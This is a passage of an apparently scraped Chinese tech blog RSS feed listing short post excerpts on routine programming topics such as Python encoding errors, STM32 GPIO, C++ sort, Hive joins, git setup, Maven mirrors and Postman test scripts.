      <description> UnicodeEncodeError: &#39;latin-1&#39; codec can&#39;t encode characters or &#39;ascii&#39; codec can&#39;t decode byte.&#xA;1. UnicodeEncodeError: &#39;latin-1&#39; codec can&#39;t encode characters...&#xA;Solution：&#xA;data = json.loads(data.encode(&#39;utf-8&#39;).decode(&#39;latin-1&#39;)) 2. UnicodeDecodeError: &#39;ascii&#39; codec can&#39;t decode byte...&#xA;Solution:&#xA;import sys reload(sys) sys.setdefaultencoding(&#39;utf-8&#39;) </description>
    </item>
    <item>
      <title>STM32中文手册解读（2）</title>
      <link>https://bchobby.github.io/posts/c842260ca14a29676edecf863948816c/</link>
      <pubDate>Wed, 10 Jun 2020 18:12:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c842260ca14a29676edecf863948816c/</guid>
      <description>GPIO简介&#xA;GPIO 是通用输入输出端口的简称，简单来说就是 STM32 可控制的引脚，STM32 芯片&#xA;的 GPIO 引脚与外部设备连接起来，从而实现与外部通讯、控制以及数据采集的功能。&#xA;STM32 芯片的 GPIO 被分成很多组，每组有 16 个引脚，如型号为 STM32F103VET6 型号的&#xA;芯片有 GPIOA、GPIOB、GPIOC 至 GPIOE 共 5 组 GPIO，芯片一共 100 个引脚，其中&#xA;GPIO 就占了一大部分，所有的 GPIO 引脚都有基本的输入输出功能。&#xA;最基本的输出功能是由 STM32 控制引脚输出高、低电平，实现开关控制，如把 GPIO&#xA;引脚接入到 LED 灯，那就可以控制 LED 灯的亮灭，引脚接入到继电器或三极管，那就可&#xA;以通过继电器或三极管控制外部大功率电路的通断。&#xA;基本结构分析&#xA;下面我们按图中的编号对 GPIO 端口的结构部件进行说明。&#xA;1. 保护二极管及上、下拉电阻&#xA;引脚的两个保护二级管可以防止引脚外部过高或过低的电压输入，当引脚电压高于&#xA;VDD 时，上方的二极管导通，当引脚电压低于 VSS 时，下方的二极管导通，防止不正常电&#xA;压引入芯片导致芯片烧毁。尽管有这样的保护，并不意味着 STM32 的引脚能直接外接大功&#xA;率驱动器件，如直接驱动电机，强制驱动要么电机不转，要么导致芯片烧坏，必须要加大&#xA;功率及隔离电路驱动。&#xA;2. P-MOS 管和 N-MOS 管&#xA;GPIO 引脚线路经过两个保护二极管后，向上流向“输入模式”结构，向下流向“输出&#xA;模式”结构。先看输出模式部分，线路经过一个由 P-MOS 和 N-MOS 管组成的单元电路。</description>
    </item>
    <item>
      <title>iOS scrollToItemAtIndexPath 无效的解决方案</title>
      <link>https://bchobby.github.io/posts/6729721e9061fe43d9c96040715eaa8d/</link>
      <pubDate>Wed, 10 Jun 2020 17:48:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6729721e9061fe43d9c96040715eaa8d/</guid>
      <description> 在UITableview中放置的UICollectionView,然后设置滚动没有效果scrollToItemAtIndexPath&#xA;- (void)layoutSubviews { [self.collectionView scrollToItemAtIndexPath:[NSIndexPath indexPathForRow:self.selectedIdx inSection:0] atScrollPosition:UICollectionViewScrollPositionNone animated:YES]; } - (void)setSelectedIdx:(NSInteger)selectedIdx { _selectedIdx = selectedIdx; // 显示到当前的位置 } </description>
    </item>
    <item>
      <title>服务器缓存css js文件解决方法</title>
      <link>https://bchobby.github.io/posts/e45382a82dd11dc39818e3924337f789/</link>
      <pubDate>Wed, 10 Jun 2020 16:40:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e45382a82dd11dc39818e3924337f789/</guid>
      <description> 在开发的时候有时候会遇到 css、js代码文件已经推送，但是服务器却没有刷新样式，我们就可以在引入文件的时候加上?t=20200610 之类的参数即可&#xA;例如:&#xA;修改前：&#xA;&amp;lt;script src=&#34;https://bchobby.github.io/js/navBar.js&#34;&amp;gt;&amp;lt;/script&amp;gt; 修改后：&#xA;&amp;lt;script src=&#34;https://bchobby.github.io/js/navBar.js?t=20200609&#34;&amp;gt;&amp;lt;/script&amp;gt; </description>
    </item>
    <item>
      <title>在打印服务器中新增纸张规格后，在打印机首选项中的自定义纸张中看不到的原因</title>
      <link>https://bchobby.github.io/posts/c1f74562162c2912ecd81e78cbe753a1/</link>
      <pubDate>Wed, 10 Jun 2020 11:35:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c1f74562162c2912ecd81e78cbe753a1/</guid>
      <description>最近在研究lodop这个web打印控件，在使用的过程中因为客户需要两种纸张规格进行打印，为了简化打印过程，通过lodpo的LODOP.SET_PRINT_PAGESIZE(1, 2410, 1400, &#34;CreateCustomPage&#34;); LODOP.ADD_PRINT_HTM(10, 0, &#34;100%&#34;, &#34;100%&#34;, strFormHtml);&#xA;来设置一个自定义的纸张规格，这里面遇到一个问题，一开始我是这样设置的&#xA;LODOP.SET_PRINT_PAGESIZE(1, 2800, 1400, &#34;CreateCustomPage&#34;); LODOP.ADD_PRINT_HTM(10, 0, &#34;100%&#34;, &#34;100%&#34;, strFormHtml);&#xA;然后发现在打印服务器中有这一个纸张规格，但是打印就是不能选择这个纸张规格。一直不知道是怎么回事，后来才发现是纸张规格的宽2800超过了打印机的最大纸张规格，所以才不能选择使用。&#xA;重点：设置自定义纸张规格，宽高一定不能超过打印机支持的最大值</description>
    </item>
    <item>
      <title>如何计算CAN总线的负载率以及每帧耗时和每秒最多传输帧数</title>
      <link>https://bchobby.github.io/posts/a335b214f5b62fdd883579b055af3089/</link>
      <pubDate>Wed, 10 Jun 2020 10:58:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a335b214f5b62fdd883579b055af3089/</guid>
      <description>今天遇到一个问题，需要计算一下CAN总线上，不同的波特率下，每秒钟最多能够传输多少帧数据，或者说，每帧数据需要耗时多少时间。一开始以为这个东西是很基础的确定性数据，百度上应该随便就能查得到，可是查了半天却毫无头绪，不知道是不是我的打开方式不对（^ O ^）。一怒之下，干脆自己来。&#xA;首先我们要确认几个输入参数，包括CAN总线的波特率，要传输的帧类型和帧格式，然后根据CAN协议规范，计算出该帧的bit数。我们用数据帧来做示例，详见图1。&#xA;最后综合起来，便得到我们想要的结果，其实很简单，如图2所示：&#xA;当然，如果你要计算远程帧的，那就用下面这张图就好：&#xA;好啦，就这么简单！&#xA;为了方便起见，我将上述的过程整理成了一个excel表格，只需要手工修改几个参数便可完成所有过程的自动计算，如下图：&#xA;实际的表格，我上传到CSDN了【CAN总线负载率计算器】，有需要的可以自行下载。当然，考虑到下载需要积分（这里要澄清一下，本来我上传时是选择不需要积分下载的，但是CSDN会自动调整，这不是我能左右的），如果积分不多，也可以直接留言邮箱给我，我单独发给你。&#xA;OK，打完收工！</description>
    </item>
    <item>
      <title>C&#43;&#43; sort() 排序函数</title>
      <link>https://bchobby.github.io/posts/c7a8fb41b229102b0f0c70ef4be465ce/</link>
      <pubDate>Wed, 10 Jun 2020 10:08:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c7a8fb41b229102b0f0c70ef4be465ce/</guid>
      <description>本文参考的博客链接&#xA;PAT排序例题A1025&#xA;经典排序算法&#xA;算法总目录&#xA;一、简介 1、头文件：#include&#xA;2、时间复杂度：sort在实现中规避了经典快速排序中可能出现的会导致实际复杂度退化到O(n^2)的极端情况。类似于快排，为nlog(2)n，效率较高。&#xA;3、参数&#xA;sort(首元素地址(必填)， 尾元素地址的下一个地址(必填)， 比较函数(非必填)); 二、如何使用sort排序 1、sort函数实现数的排序&#xA;#include&amp;lt;cstdio&amp;gt; #include&amp;lt;iostream&amp;gt; #include&amp;lt;cstdlib&amp;gt; #include&amp;lt;algorithm&amp;gt; using namespace std; bool cmp(int a,int b)///实现从大到小排序的比较函数 { return a&amp;gt;b; } int main() { int i,j; int arr[10]={1,33,56,74,34,34,555,43,43,343}; sort(arr,arr+10,cmp); for(i=0;i&amp;lt;10;i++) cout&amp;lt;&amp;lt;arr[i]&amp;lt;&amp;lt;&#34; &#34;&amp;lt;&amp;lt;endl; return 0; } 2、sort函数实现字符串的排序（根据长度，字母顺序两种情况）&#xA;（1）sort函数对string内的字符进行排序（string为字符串类型数据）&#xA;#include&amp;lt;iostream&amp;gt; #include&amp;lt;cstdio&amp;gt; #include&amp;lt;algorithm&amp;gt; #include&amp;lt;cstring&amp;gt; using namespace std; bool cmp(char a,char b)///比较函数 { return a&amp;gt;b; } int main() { string s; cin&amp;gt;&amp;gt;s; sort(s.begin(),s.end());///从小到大 cout&amp;lt;&amp;lt;s&amp;lt;&amp;lt;endl; sort(s.begin(),s.end(),cmp);///从大到小 cout&amp;lt;&amp;lt;s&amp;lt;&amp;lt;endl; cout&amp;lt;&amp;lt;s.</description>
    </item>
    <item>
      <title>Ubuntu16.04git安装与gitee码云使用</title>
      <link>https://bchobby.github.io/posts/c09aa9d682f5e1928123bab63db891b0/</link>
      <pubDate>Tue, 09 Jun 2020 14:18:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c09aa9d682f5e1928123bab63db891b0/</guid>
      <description>前言&#xA;Ubuntu16.04下安装git并进行配置，利用Gitee（码云）进行项目及代码的管理&#xA;git安装与卸载 安装：apt-get install git&#xA;卸载：apt-get remove git&#xA;安装成功后可用以下命令查看git版本号：&#xA;git --version&#xA;git配置 1、配置用户名&#xA;git config --global user.name “your name”&#xA;用户名和gitee用户名一致&#xA;2、配置git邮箱&#xA;git config --global user.email “your email”&#xA;邮箱与gitee注册邮箱一致&#xA;3、查看配置信息&#xA;git config --global --list&#xA;用户名与邮箱要与gitee相关信息一致，否则会出现gitee相关统计信息无法统计的情况，如代码提交等等&#xA;4、创建公钥&#xA;ssh-keygen -C “your email” -t rsa&#xA;创建过程中，根据提示信息一直回车即可&#xA;5、gitee添加公钥&#xA;将目录下的.ssh/id_rsa.pub里的内容全部复制。登录gitee网站在设置中选择SSH公钥添加公钥内容&#xA;6、测试配置是否成功&#xA;ssh -T git@gitee.com&#xA;7、测试成功后，可以利用git下载相关代码</description>
    </item>
    <item>
      <title>maven 初次使用出现Could not transfer artifact  个人方法尝试经验</title>
      <link>https://bchobby.github.io/posts/740621ad7ba56057a91dbab90eae474a/</link>
      <pubDate>Tue, 09 Jun 2020 10:18:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/740621ad7ba56057a91dbab90eae474a/</guid>
      <description> 1.配置阿里巴巴的私服镜像:在mirros元素中增加一个mirros元素。指向阿里云的下载地址。 &amp;lt;mirrors&amp;gt; &amp;lt;mirror&amp;gt; &amp;lt;id&amp;gt;nexus-aliyun&amp;lt;/id&amp;gt; &amp;lt;mirrorOf&amp;gt;*&amp;lt;/mirrorOf&amp;gt; &amp;lt;name&amp;gt;Nexus aliyun&amp;lt;/name&amp;gt; &amp;lt;url&amp;gt;http://maven.aliyun.com/nexus/content/groups/public&amp;lt;/url&amp;gt; &amp;lt;/mirror&amp;gt; &amp;lt;/mirrors&amp;gt; 这一步可以尝试把http改为https，哪一个好用用哪一(本人是使用https好用）。&#xA;2.删除lastupdated文件 参考方法：http://www.caiqz.cn/595.html 如果下载失败一两次，本次仓库中出现了lastupdated文件，可以自建一个TXT文本，放入下面代码，保存为bat格式，去删除里面的lastupdated文件，多次尝试下载，因为网络问题，一次两次失败是很正常的，多尝试几次，如果还不能成功，就应该考虑是别的方面的问题。 一定要删除之后多尝试几次 rem 这里写你的仓库路径 set REPOSITORY_PATH=E:\java\maven\repository rem 正在搜索... for /f &#34;delims=&#34; %%i in (&#39;dir /b /s &#34;%REPOSITORY_PATH%\*lastUpdated*&#34;&#39;) do ( del /s /q %%i ) rem 搜索完毕 pause </description>
    </item>
    <item>
      <title>三目运算符引起的NPE</title>
      <link>https://bchobby.github.io/posts/879c194b6e2da3ce6a8d7d5ae89bf7d2/</link>
      <pubDate>Mon, 08 Jun 2020 22:31:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/879c194b6e2da3ce6a8d7d5ae89bf7d2/</guid>
      <description>文章目录 一、诡异的NPE二、原因：三目运算符表达式类型对齐拆箱导致NPE三、继续深究四、总结 情况这段代码： 一、诡异的NPE 报错信息如下：&#xA;2020-06-03 13:02:22.193 [] [DubboServerHandler-120889-thread-8] ERROR com.alibaba.dubbo.rpc.filter.ExceptionFilter 90 - [DUBBO] Got unchecked and undeclared exception which called by . service: com.jzd.health.archive.api.si.DiseaseHistoryServiceInterface, method: getRemovedDuplicateFamilyDiseaseNames, exception: java.lang.NullPointerException: null, dubbo version: 2.8.4.1, current host: java.lang.NullPointerException: null at com.jzd.health.archive.biz.service.transform.DiseaseHistoryTransform.transform(DiseaseHistoryTransform.java:60) at com.jzd.health.archive.biz.service.transform.DiseaseHistoryTransform.transform(DiseaseHistoryTransform.java:21) at com.jzd.frw.common.transformer.AbstractContextualObjectTransformer.transform(AbstractContextualObjectTransformer.java:26) at com.jzd.frw.common.tr 定位到这里，也就是set这样代码报的NPE。这里的chronicDiseaseFlag是Boolean。&#xA;if (CollectionsUtils.isNotEmpty(diseaseInfoDTOS)) { dto.setChronicDiseaseFlag(diseaseInfoDTOS.get(0) == null ? false : diseaseInfoDTOS.get(0).getChronicDiseaseFlag()); } 二、原因：三目运算符表达式类型对齐拆箱导致NPE 这里怎么会有NPE？卡克10分钟…吃完饭才想通很久很久以前，一位同事来问过我类似的问题，也是三目运算符中出现的NPE。直觉告诉我，一定是代码问题，而不是什么“诡异”的问题。&#xA;结论：&#xA;三目运算符左右表达式在类型对齐时，产生了自动拆箱的操作，导致NPE。也就是说：&#xA;diseaseInfoDTOS.get(0)当然不为NULL，但是diseaseInfoDTOS.get(0).getChronicDiseaseFlag()为NULL，因为chronicDiseaseFlag本来就是包装类Boolean,所以赋值为NULL没任何问题。But！在三目运算符中，它自己做了“类型对齐”，这里因为表达式1是false,所以会尝试跟它对齐，把NULL转成基本类型的boolean值，自然就报错喽。&#xA;更加详细全面的解释如下文：&#xA;答案在这里：&#xA;https://mp.weixin.qq.com/s/iQ6qdNv7WTLa3drxNa9png&#xA;摘抄下最核心的2句话。&#xA;三目运算符condition ?表达式1:表达式2中，高度注意表达式1和2再类型对齐时，可能跑出因自动拆箱导致的NPE异常。 说明：以下两种场景会出发类型对齐的拆箱操作。 1）表达式1或表达式2的值只要有一个是原始类型；（俺的示例就符合这一条） 2）表达式1或表达式2的值的类型不一致，会强制拆箱升级成表示范围更大的那个类型。（俺的示例也符合这一条） 2）能说明三目再背后会把boolean向上转型成Boolean。是的boolean-&amp;gt; Boolean没事；但是null -&amp;gt; Boolean就有事了。</description>
    </item>
    <item>
      <title>轻松玩转hive中各种join之间的关系以及使用</title>
      <link>https://bchobby.github.io/posts/98cb709f9e98be69b0c22a7e3279bb3c/</link>
      <pubDate>Mon, 08 Jun 2020 19:21:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/98cb709f9e98be69b0c22a7e3279bb3c/</guid>
      <description>文章目录 1.inner join2.left join3.right join4.full outer join5.自连接6.外连接与条件配合使用7.多表之间进行join时注意事项8.left semi join9.hive中各种join之间的关系一览图。 hive编程是整个数据仓库操作的核心，而各种业务之间的join是hive的核心，所以熟练明白滴掌握hive中的各种join是数据仓库开发工程师必备的技能。 hive中的join只支持等值join,也就是说join on中的on里面表之间连接条件只能是=，不能是&amp;lt;,&amp;gt;等符号。此外，on中的等值连接之间只能是and,不能是or. （如果在on 里添加非表之间的条件可以是非等号，下面有演示） 为了演示各种join之间的关系以及使用注意事项，准备如下三个表，以及表中数据。 表1：&#xA;CREATE TABLE `FDM_SOR.mytest_department`( `dept_no` int, `dept_name` string) row format delimited fields terminated by &#39;,&#39; 表2：&#xA;CREATE TABLE `FDM_SOR.mytest_staffinfo`( `id` int, `name` string, sex string, dept_no int )row format delimited fields terminated by &#39;,&#39; 表3：&#xA;CREATE TABLE `FDM_SOR.mytest_deptaddr`( `dept_no` int, `addr` string, `tel` string) ROW FORMAT DELIMITED FIELDS TERMINATED BY &#39;,&#39; 如下对应的各表中load的数据&#xA;`FDM_SOR.mytest_staffinfo 001,&#39;tom&#39;,&#39;man&#39;,101 002,&#39;jerry&#39;,&#39;man&#39;,103 003,&#39;marry&#39;,&#39;woman&#39;,101 004,&#39;tom&#39;,&#39;man&#39;,104 005,&#39;jebby&#39;,&#39;man&#39;,102 006,&#39;smiiss&#39;,&#39;man&#39;,101 007,&#39;dosos&#39;,&#39;man&#39;,102 008,&#39;tiny&#39;,&#39;woman&#39;,102 009,&#39;feyy&#39;,&#39;woman&#39;,104 010,&#39;feyy&#39;,&#39;woman&#39;,103 011,&#39;cake&#39;,&#39;man&#39;,101 012,&#39;dogy&#39;,&#39;man&#39;,102 013,&#39;gaayy&#39;,&#39;man&#39;,105 014,&#39;kety&#39;,&#39;man&#39;, 015,&#39;caggyy&#39;,&#39;man&#39;,104 016,&#39;addy&#39;,&#39;man&#39;,106 017,&#39;nancy&#39;,&#39;man&#39;,104 018,&#39;tom&#39;,&#39;man&#39;,101 FDM_SOR.</description>
    </item>
    <item>
      <title>Python中的sys.path.append()</title>
      <link>https://bchobby.github.io/posts/cf599ac9fe46f6318f68d5b60989e3ed/</link>
      <pubDate>Mon, 08 Jun 2020 09:18:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cf599ac9fe46f6318f68d5b60989e3ed/</guid>
      <description>Python中的sys.path.append()&#xA;当我们导入一个模块时：import xxx，默认情况下python解析器会搜索当前目录、已安装的内置模块和第三方模块&#xA;当运行脚本文件和导入模块不再同一目录下&#xA;import sys sys.path.append(&#39; .....路径。。。 &#39;) 就能继续import进去该模块了&#xA;永久添加路径到sys.path中，方式有三，如下：&#xA;1）将写好的py文件放到 已经添加到系统环境变量的 目录下 ；&#xA;2) 在 /usr/lib/python2.6/site-packages 下面新建一个.pth 文件(以pth作为后缀名)&#xA;将模块的路径写进去，一行一个路径，如： vim pythonmodule.pth&#xA;/home/liu/shell/config&#xA;/home/liu/shell/base&#xA;3) 使用PYTHONPATH环境变量&#xA;export PYTHONPATH=$PYTHONPATH:/home/liu/shell/config</description>
    </item>
    <item>
      <title>菜鸟的springboot项目图片上传及图片路径分析</title>
      <link>https://bchobby.github.io/posts/413a395bebf4380f71e59a189c8f5467/</link>
      <pubDate>Sun, 07 Jun 2020 22:41:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/413a395bebf4380f71e59a189c8f5467/</guid>
      <description>菜鸟的springboot项目图片上传及图片路径分析 说明一、图片路径分析二、实现图片上传（1）单文件上传（非异步）（2）单文件上传（异步） 三、总结四、更新配置文件 说明 更新时间：2020/6/15 16:15，更新了部署环境的判断&#xA;本文记录一下springboot项目的图片上传的相关知识，主要解决项目打成jar包部署时的图片路径问题，本文会持续更新，不断地扩充&#xA;本文仅为记录学习轨迹，如有侵权,联系删除&#xA;一、图片路径分析 springboot项目在还没打包时，很多人喜欢把图片上传后，保存在项目的静态资源下，就像下面的图片那样&#xA;这样好像看来没问题，在还没打成jar包时，在idea启动运行正常，图片也确实存储到了静态资源下的images文件夹中，但是一旦打包成jar包后，运行jar包时，发现图片存储路径出错了，图片并不会存储到静态资源下的images文件夹中,而是到服务器的用户下的路径那里去，如果把打包后的jar包在自己电脑运行，按照上面的代码，图片就会存储到C盘下对应的电脑用户那里&#xA;这是因为打包后会生成一个jar包，这个jar可以解压，发现里面的classes就打包有静态资源，而且上面的代码String path = System.getProperty(&#34;user.dir&#34;);在idea启动运行时会获取到项目的根路径，所以在idea启动运行时可以将图片保存在项目下的images文件夹里面，而打包成一个jar后，用java -jar jar包名称启动时，获取的确是C盘下的用户路径，而不会获取到jar所在的目录，跟不会获取到jar里面的classes文件的路径&#xA;这种获取图片路径并存储的方式肯定不是我想要的，我想要的效果是，即使打成jar包后，可以在jar包所在目录下自动生成一个文件夹，上传的图片就保存在这个文件夹中，这样就不论你jar包部署在哪里，都可以获取到jar所在根目录，并自动生成一个文件夹保存上传的图片&#xA;这样的话部署就方便多了&#xA;二、实现图片上传 （1）单文件上传（非异步） 我们知道项目打包后的jar包都在target文件夹里面，也就是说target所在文件夹才是jar包所在的路径，所以，图片存储的位置就应该在target里面，这样在打成jar包后，就可以获取jar包所在目录，实现上面分析的功能&#xA;前端代码&#xA;&amp;lt;!DOCTYPE html&amp;gt; &amp;lt;html lang=&#34;en&#34; xmlns:th=&#34;http://www.thymeleaf.org&#34;&amp;gt; &amp;lt;head&amp;gt; &amp;lt;meta charset=&#34;UTF-8&#34;&amp;gt; &amp;lt;meta http-equiv=&#34;Content-Type&#34; content=&#34;text/html;charset=UTF-8&#34;&amp;gt; &amp;lt;title&amp;gt;单文件上传&amp;lt;/title&amp;gt; &amp;lt;link th:href=&#34;@{/css/bootstrap.min.css}&#34; rel=&#34;stylesheet&#34;&amp;gt; &amp;lt;script th:src=&#34;@{/js/jquery.min.js}&#34;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;/head&amp;gt; &amp;lt;body&amp;gt; &amp;lt;div th:if=&#34;${uploadStatus}&#34; style=&#34;color: red&#34; th:text=&#34;${uploadStatus}&#34;&amp;gt;上传成功&amp;lt;/div&amp;gt; &amp;lt;form th:action=&#34;@{/singleUploadFile}&#34; method=&#34;post&#34; enctype=&#34;multipart/form-data&#34;&amp;gt; &amp;lt;div class=&#34;form-group&#34;&amp;gt; &amp;lt;label&amp;gt;单文件上传&amp;lt;/label&amp;gt; &amp;lt;input class=&#34;form-control-file&#34; type=&#34;file&#34; name=&#34;file&#34; required=&#34;required&#34; /&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;input id=&#34;submit&#34; type=&#34;submit&#34; value=&#34;上传&#34; /&amp;gt; &amp;lt;/form&amp;gt; &amp;lt;/body&amp;gt; &amp;lt;/html&amp;gt; 后端对应控制器的代码</description>
    </item>
    <item>
      <title>sql判断字符串是否包含某个字符串</title>
      <link>https://bchobby.github.io/posts/fd4e1b2007578126d47015632956d9b3/</link>
      <pubDate>Sun, 07 Jun 2020 18:03:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fd4e1b2007578126d47015632956d9b3/</guid>
      <description>SELECT * FROM ‘表名’ WHERE LOCATE(‘包含的字符串’,‘字段’) &amp;gt; 0</description>
    </item>
    <item>
      <title>postman接口测试，常用的断言</title>
      <link>https://bchobby.github.io/posts/ba60c1986345de0ffe8248ccf6599ea2/</link>
      <pubDate>Sat, 06 Jun 2020 17:57:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ba60c1986345de0ffe8248ccf6599ea2/</guid>
      <description>在实现接口自动测试的时候，会经常遇到接口参数依赖的问题，例如调取登录接口的时候，需要先获取登录的key值，而每次请求返回的key值又是不一样的，那么这种情况下，要实现接口的自动化，就要用到postman中设置环境变量这个功能了；&#xA;在postman中，可以利用tests将接口返回的response设置为环境变量，供后续接口使用（类似参数化的概念）&#xA;获取环境变量需要具体方法：&#xA;var jsonData =JSON.parse(responseBody);//获取body中返回的所有参数&#xA;postman.setEnvironmentVariable(“appKey”,jsonData.data.appKey);//把返回参数中的keys设置为环境变量&#xA;获取headers值更新环境变量的方法:&#xA;Var data=postman.getResponse.Header(“Access-token”) //获取返回header中token的值&#xA;postman.setEnvironmentVariable(“AccessToken”,data) //将token值设置为环境变量&#xA;1.设置环境变量&#xA;postman.setEnvirionmentVariable(“key”,“value”) //postman 5.0一下置环境变量的方法&#xA;//postman 5.0以上版本设置环境变量的方法&#xA;pm.environment.get(“key”,“value”);&#xA;2.设置全局变量&#xA;postman.setGlobalVariable(“key”, “value”);//postman 5.0以下版本设置全局变量方法&#xA;//postman 5.0以上版本设置全局变量方法&#xA;pm.globals.set(“variable_key”, “variable_value”);&#xA;3.检查response body中是否包含某个string&#xA;tests[“Body matches string”] = responseBody.has(“string_you_want_to_search”);&#xA;//5.0以上版本方法&#xA;pm.test(“Body is correct”, function () {&#xA;pm.response.to.have.body(“response_body_string”);});&#xA;4.检测JSON中的某个值是否等于预期的值&#xA;var data = JSON.parse(responseBody);&#xA;tests[“Your test name”] = data.value === 100;&#xA;JSON.parse()方法，把json字符串转化为对象。parse()会进行json格式的检查是一个安全的函数。&#xA;检查json中某个数组元素的个数(这里检测programs的长度)&#xA;var data = JSON.parse(responseBody);&#xA;tests[“program’s lenght”] = data.programs.length === 5;&#xA;5.转换XML body为JSON对象</description>
    </item>
    <item>
      <title>数学建模（1）——车速与道路通行能力</title>
      <link>https://bchobby.github.io/posts/4ab49df607309cd7ff1b57024971a42d/</link>
      <pubDate>Sat, 06 Jun 2020 16:39:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4ab49df607309cd7ff1b57024971a42d/</guid>
      <description>一、问题描述 提高道路通行能力是现代城市交通面临的重要课题。&#xA;道路通行能力衡量参数：&#xA;交通流：在单方向道路上行驶的一辆辆汽车组成的连续流体。用流量、速度、密度3个参数描述其基本特征。&#xA;流量q：某时刻单位时间内通过道路某断面的车辆数（单位辆/h）；&#xA;速度v：某时刻通过道路某断面的车辆速度（km/h）；&#xA;密度k：某时刻通过道路某断面单位长度内的车辆数（辆/km）。&#xA;3个参数之间的数学关系：&#xA;(1)&#xA;要提高道路通行能力，即增大q值，有两个途径：提高速度v，或者增加密度k。但是，现实存在这样的矛盾（问题点）：&#xA;车辆速度越快，刹车距离变大，车间距需要增大，车辆密度由此下降。车辆密度越大，刹车距离变小，车辆速度需要降低。 所以，需要综合这些因素进行综合分析。&#xA;刹车距离：从司机决定刹车到车完全停止行驶的距离。&#xA;道路通行能力：在安全条件下，当具有标准长度和技术指标的车辆，以前后两车最小车头间隔连续行驶时，单位时间内通过道路某断面的最大车辆数（辆/h）。&#xA;二、问题分析 要解决的问题是找到最佳的车速，以达到最大的道路通行能力。问题求解的步骤&#xA;①求解刹车距离与车速之间的关系；&#xA;②求解道路通行能力与刹车距离之间的关系；&#xA;③求解道路通行能力与车速之间的关系。&#xA;三、符号说明 ：车辆密度为0时的车速，即理论上的最高车速，称畅行车速；&#xA;：速度为0时的密度，称阻塞密度；&#xA;：最大车流量；&#xA;：最大车流密度；&#xA;：最大车流速度。&#xA;：刹车距离（m）；&#xA;：反应距离(m)；&#xA;：制动距离(m)；&#xA;F：刹车制动力(N)；&#xA;：反应时间(s)；&#xA;N：道路通行能力(辆/h)。&#xA;D：最小车头间隔（m）。&#xA;四、模型假设 假设1：经验表明，道路上车辆密度增加时，司机就会降低车速。速度和密度之间存在如下关系&#xA;假设2：刹车距离d为反应距离d1 与制动距离d2 之和。&#xA;假设3：反应距离d1 与车速v成正比，比例系数为反应时间。&#xA;五、模型建立 5.1车流量与速度的模型 将假设1代入到数学模型(1)中，得到流量与密度的关&#xA;同时，也可以得到流量与速度的关系&#xA;5.2刹车距离与速度的模型 制动力F做功为 ；车速从v到0，动能变化为 ，于是得到&#xA;其中， ，a为减速度，反应了道路的减速状况，雨天路滑，道路减速效果差， 值大。&#xA;根据刹车距离d为反应距离 与制动距离 之和，得到&#xA;5.3道路通行能力与速度的模型 道路通行能力&#xA;最小车头间隔D主要由刹车距离d决定：&#xA;：车身标准长度与两车间安全距离之和，取固定值。&#xA;于是，得到&#xA;可以看出，道路通行能力与汽车速度、司机反应时间、道路情况、车辆大小等因素大小有关。&#xA;六、模型求解&#xA;6.1求解系数c1、c2 利用机器学习中的一元线性回归方法，根据测试数据对模型作拟合；&#xA;或者，调查交通工程学的相关资料，得到司机反应时间c1 为0.7~1s，系数c2 约为 （ ）&#xA;6.2 道路通行能力最大时对应的车速 根据正数的不等式性质，有</description>
    </item>
    <item>
      <title>uni-app 将base64图片数据转为本地图片文件（plus.nativeObj.Bitmap）</title>
      <link>https://bchobby.github.io/posts/8cdbd17461dca7d9bf1afeac3a5fdcf0/</link>
      <pubDate>Sat, 06 Jun 2020 04:39:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8cdbd17461dca7d9bf1afeac3a5fdcf0/</guid>
      <description> // 1构建为base64图片字符串 let base64 = ...&#x9;// 从服务器获取的base64字符串&#x9;iVBORw0KGgoAAAANSUhEUg... let imageStr = &#39;data:image/png;base64,&#39; + base64 // 保存到本地 let bitmap = new plus.nativeObj.Bitmap(&#34;test&#34;); bitmap.loadBase64Data(imageStr, function(){ console.log(&#34;加载Base64图片数据成功&#34;); bitmap.save(&#34;_doc/test.png&#34;,{},function(i){ console.log(&#39;保存图片成功：&#39;+JSON.stringify(i)); bitmap.clear(); },function(e){ onsole.log(&#39;保存图片失败：&#39;+JSON.stringify(e)); bitmap.clear(); }); }, function(){ console.log(&#39;加载Base64图片数据失败：&#39;+JSON.stringify(e)); bitmap.clear(); }); </description>
    </item>
    <item>
      <title>同一Wifi下允许手机访问电脑（win10）</title>
      <link>https://bchobby.github.io/posts/24e787c5546abe1c257bde66d05e28d2/</link>
      <pubDate>Fri, 05 Jun 2020 22:59:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/24e787c5546abe1c257bde66d05e28d2/</guid>
      <description>开发中我们常需要将电脑作为临时服务器，如何允许其他设备访问自己的电脑是开发前需要准备好的。本篇介绍的是如何开放自己电脑的内网ip和端口，让同一wifi网络下的其他设备能访问到我们的电脑。&#xA;电脑端将wifi添加至专用网络&#xA;找到wifi设置窗口（设置 -&amp;gt; 网络和Internet -&amp;gt; WLAN -&amp;gt; 点击连接的wifi） 或（电脑右下角 -&amp;gt; wifi属性） 设置为专用网络&#xA;开放端口&#xA;找到 “高级安全 Windows Defender 防火墙” 窗口（设置 -&amp;gt; 更新和安全 -&amp;gt; Windows安全中心 -&amp;gt; 防火墙和网络保护 -&amp;gt; 高级设置）&#xA;开放端口：新建入站规则(端口、下一步、填写要开放的端口、下一步… )&#xA;服务器host设置0.0.0.0，端口设置为开放的端口（以python flask为例）&#xA;cmd -&amp;gt; ipconfig 查看WLAN的电脑的内网ip地址&#xA;最后就可以在手机浏览器使用该内网ip加端口号即可进行电脑访问测试啦！！</description>
    </item>
    <item>
      <title>转：dubbo新增最短响应时间-负载均衡策略分析</title>
